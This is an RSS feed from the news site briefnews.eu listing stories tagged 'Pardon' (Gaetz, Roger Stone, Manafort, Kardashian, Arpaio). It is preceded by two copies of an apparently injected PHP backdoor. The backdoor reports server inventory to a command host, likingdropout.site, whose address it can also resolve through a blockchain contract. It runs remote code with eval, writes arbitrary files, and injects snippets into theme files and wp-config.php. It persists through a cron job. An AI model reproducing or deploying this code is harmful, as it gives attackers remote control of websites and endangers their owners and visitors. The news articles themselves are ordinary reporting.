// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pardon – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Sep 2022 02:57:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Pardon – Brief News https://briefnews.eu 32 32 Rep. Matt Gaetz sought a preemptive pardon from Trump over an investigation into whether he sex-trafficked a 17-year-old, WaPo reports https://briefnews.eu/rep-matt-gaetz-sought-a-preemptive-pardon-from-trump-over-an-investigation-into-whether-he-sex-trafficked-a-17-year-old-wapo-reports/ https://briefnews.eu/rep-matt-gaetz-sought-a-preemptive-pardon-from-trump-over-an-investigation-into-whether-he-sex-trafficked-a-17-year-old-wapo-reports/#respond Sun, 18 Sep 2022 02:57:01 +0000 https://briefnews.eu/rep-matt-gaetz-sought-a-preemptive-pardon-from-trump-over-an-investigation-into-whether-he-sex-trafficked-a-17-year-old-wapo-reports/ Matt Gaetz speaks at Turning Point USA summit
Rep. Matt Gaetz addresses attendees during the Turning Point USA Student Action Summit on July 23, 2022, in Tampa, Florida.

Phelan M. Ebenhack/AP Photo

  • The Washington Post reported Gaetz sought a preemptive presidential pardon in a sex trafficking investigation.
  • Sources told WaPo that Johnny McEntee, a White House official, testified he received the request from Gaetz.
  • A spokesperson for Gaetz told Insider the congressman never directly asked Trump for a pardon.

Congressman Matt Gaetz preemptively sought a presidential pardon relating to an ongoing investigation into whether he sex trafficked a 17-year-old, according to reporting by The Washington Post.

Sources familiar with the testimony told The Washington Post that Johnny McEntee, a staffer in the Donald Trump White House, told the United States House Select Committee on the January 6 Attack he received the request from Rep. Gaetz around the time of the siege on the Capitol.

McEntee testified Gaetz told him he was aware of an investigation being launched into his conduct and that "he did not do anything wrong but they are trying to make his life hell, and you know, if the president could give him a pardon, that would be great," The Washington Post reported. McEntee also testified Gaetz said he asked White House Chief of Staff Mark Meadows for a pardon.

The Department of Justice probe into whether Gaetz had a sexual relationship with an underage girl and paid her to travel with him was first reported in 2021 and continues to be investigated. 

Gaetz has not been charged with any crime and has consistently denied any wrongdoing.

"Congressman Matt Gaetz discussed pardons for many other people publicly and privately at the end of President Donald Trump's first term," a spokesman for Rep. Gaetz told Insider in an email. "As for himself, President Trump addressed this malicious rumor more than a year ago stating, 'Congressman Matt Gaetz has never asked me for a pardon.' Rep. Gaetz continues to stand by President Trump's statement."

The spokesperson did not respond to questions about whether Gaetz denied the conversations about pardons with McEntee or Meadows occurred. 

The GOP congressman, one of 20 Republicans to vote against reauthorizing a sex-trafficking law in July, has received ongoing support from former President Trump relating to the investigation, despite Trump's comments calling for death to human traffickers.

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]]> https://briefnews.eu/rep-matt-gaetz-sought-a-preemptive-pardon-from-trump-over-an-investigation-into-whether-he-sex-trafficked-a-17-year-old-wapo-reports/feed/ 0 SNL Casts Steve Martin as Roger Stone — Watch Him Beg Trump for a Pardon https://briefnews.eu/snl-casts-steve-martin-as-roger-stone-watch-him-beg-trump-for-a-pardon/ https://briefnews.eu/snl-casts-steve-martin-as-roger-stone-watch-him-beg-trump-for-a-pardon/#respond Sun, 27 Jan 2019 07:27:50 +0000 http://briefnews.eu/snl-casts-steve-martin-as-roger-stone-watch-him-beg-trump-for-a-pardon/

Saturday Night Live briefly turned one of the most likable actors in Hollywood into one of the most reviled men in America. No stranger to the program, Steve Martin made a special appearance atop this week’s SNL, playing the freshly incarcerated Roger Stone.

Martin’s Stone was a guest on Tucker Carlson Tonight, with Alex Moffat portraying the polarizing Fox News anchor. Introduced as “a man you look at and instantly think, ‘I trust this guy,’” Stone announced his arrival by exclaiming, “What a fun couple of days! I’m loving the ride.”

When asked if being arrested by the FBI and indicted on seven criminal charges has taken a toll on his overall wellbeing, Stone laughed off such nonsense. “Honestly, I think I’m the happiest I’ve ever been in my life,” he said. “I mean, seven felonies? I can’t even count that high! How cool is that?”

Carlson then suggested that Stone should perhaps be portraying himself as a “feeble old man,” at which point he quickly shifted gears. “Oh, right the pity thing,” Stone acknowledged. “I’m just a poor, helpless old man. I’m 66. I’m almost as old as Sting!”

After alleging that he’s suffering financially as a result of his arrest, Stone said, “I set up a donation page based on a phrase people have been yelling at me: ‘Hey, Roger, go fund yourself!’” He then wrapped his memorable appearance on the show by literally begging President Trump to pardon him. (And it’s Fox News, so you know he’s watching.)

Hit PLAY on the video below to see Martin as Stone, then drop a comment with your thoughts.

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]]> https://briefnews.eu/snl-casts-steve-martin-as-roger-stone-watch-him-beg-trump-for-a-pardon/feed/ 0 Rudy Giuliani reportedly said he and Trump discussed a possible pardon for Manafort, but said they’re unsure about the political fallout https://briefnews.eu/rudy-giuliani-reportedly-said-he-and-trump-discussed-a-possible-pardon-for-manafort-but-said-theyre-unsure-about-the-political-fallout/ https://briefnews.eu/rudy-giuliani-reportedly-said-he-and-trump-discussed-a-possible-pardon-for-manafort-but-said-theyre-unsure-about-the-political-fallout/#respond Thu, 23 Aug 2018 03:46:27 +0000 http://briefnews.eu/rudy-giuliani-reportedly-said-he-and-trump-discussed-a-possible-pardon-for-manafort-but-said-theyre-unsure-about-the-political-fallout/ Paul ManafortDrew Angerer/Getty

  • President Donald Trump and his lawyer Rudy Giuliani talked about the pros and cons of pardoning Trump’s former campaign chairman Paul Manafort, The New York Times reported on Wednesday.
  • Manafort was convicted on eight counts of financial fraud a day earlier.
  • Trump has since distanced himself from Manafort and asserted that “it doesn’t involve me,” when asked about the crimes for which Manafort was convicted.

President Donald Trump and his lawyer Rudy Giuliani talked about the pros and cons of pardoning Trump’s former campaign chairman Paul Manafort, The New York Times reported on Wednesday.

According to the newspaper, Giuliani echoed Trump’s assertion that he believes Manafort was treated “horribly” by the justice system.

See the rest of the story at Business Insider

NOW WATCH: Meet the woman behind Trump’s $ 20 million merch empire

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SEE ALSO: Michael Cohen’s lawyer says his client has information about Trump ‘that should be of interest’ to Mueller

]]> https://briefnews.eu/rudy-giuliani-reportedly-said-he-and-trump-discussed-a-possible-pardon-for-manafort-but-said-theyre-unsure-about-the-political-fallout/feed/ 0 Kim Kardashian says she’s lobbying Jared Kushner to get a presidential pardon for a woman serving life in prison over drugs https://briefnews.eu/kim-kardashian-says-shes-lobbying-jared-kushner-to-get-a-presidential-pardon-for-a-woman-serving-life-in-prison-over-drugs/ https://briefnews.eu/kim-kardashian-says-shes-lobbying-jared-kushner-to-get-a-presidential-pardon-for-a-woman-serving-life-in-prison-over-drugs/#respond Thu, 03 May 2018 10:05:43 +0000 http://briefnews.eu/kim-kardashian-says-shes-lobbying-jared-kushner-to-get-a-presidential-pardon-for-a-woman-serving-life-in-prison-over-drugs/ kardashian kushnerGetty/Business Insider

  • Kim Kardashian West and Jared Kushner have been discussing the possibility of getting Donald Trump to pardon a woman serving life in prison.
  • Alice Marie Johnson — a first-time, non-violent drug offender who is now 62 — has been in federal prison since 1996.
  • Kardashian West and Kushner have reportedly been talking for the past several months.

Kim Kardashian West has been working with Jared Kushner for several months about a possible presidential pardon for a woman serving a life sentence in Alabama.

The reality star had been speaking to Donald Trump’s son-in-law on the phone over the past several months, with more frequent conversations taking place over the past few days, Mic reported on Tuesday.

See the rest of the story at Business Insider

NOW WATCH: Here’s how Donald Trump has changed since the ’80s

See Also:

]]> https://briefnews.eu/kim-kardashian-says-shes-lobbying-jared-kushner-to-get-a-presidential-pardon-for-a-woman-serving-life-in-prison-over-drugs/feed/ 0 While You Were Offline: Pardon the President, He’s New at This https://briefnews.eu/while-you-were-offline-pardon-the-president-hes-new-at-this/ https://briefnews.eu/while-you-were-offline-pardon-the-president-hes-new-at-this/#respond Sun, 26 Nov 2017 14:33:25 +0000 http://briefnews.eu/while-you-were-offline-pardon-the-president-hes-new-at-this/ If only the internet would’ve let President Trump off the hook the way he did that turkey.


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]]> https://briefnews.eu/while-you-were-offline-pardon-the-president-hes-new-at-this/feed/ 0 A controversial pardon and a key departure: Here’s everything that happened in a wild Friday news dump from the White House https://briefnews.eu/a-controversial-pardon-and-a-key-departure-heres-everything-that-happened-in-a-wild-friday-news-dump-from-the-white-house/ https://briefnews.eu/a-controversial-pardon-and-a-key-departure-heres-everything-that-happened-in-a-wild-friday-news-dump-from-the-white-house/#respond Sat, 26 Aug 2017 18:29:29 +0000 http://briefnews.eu/a-controversial-pardon-and-a-key-departure-heres-everything-that-happened-in-a-wild-friday-news-dump-from-the-white-house/ Hurricane Harvey Corpus CristiAdrees Latif/Reuters

As Hurricane Harvey headed for the coast of Texas Friday night, a storm of news was also breaking.

Within a period of a few hours, President Donald Trump pardoned controversial former Arizona Sheriff Joe Arpaio and directed the Pentagon to place an indefinite ban on transgender individuals joining the military.

Meanwhile, White House adviser Sebastian Gorka was ousted, and it was revealed that Special Counsel Robert Mueller is investigating whether Michael Flynn was involved in an effort to obtain Hilary Clinton’s deleted emails. 

Plus, North Korea launched projectiles into its eastern sea. 

You’d certainly be forgiven for missing some of last night’s news. Here’s what to know: 

Trump pardoned former Arizona Sheriff Joe Arpaio.

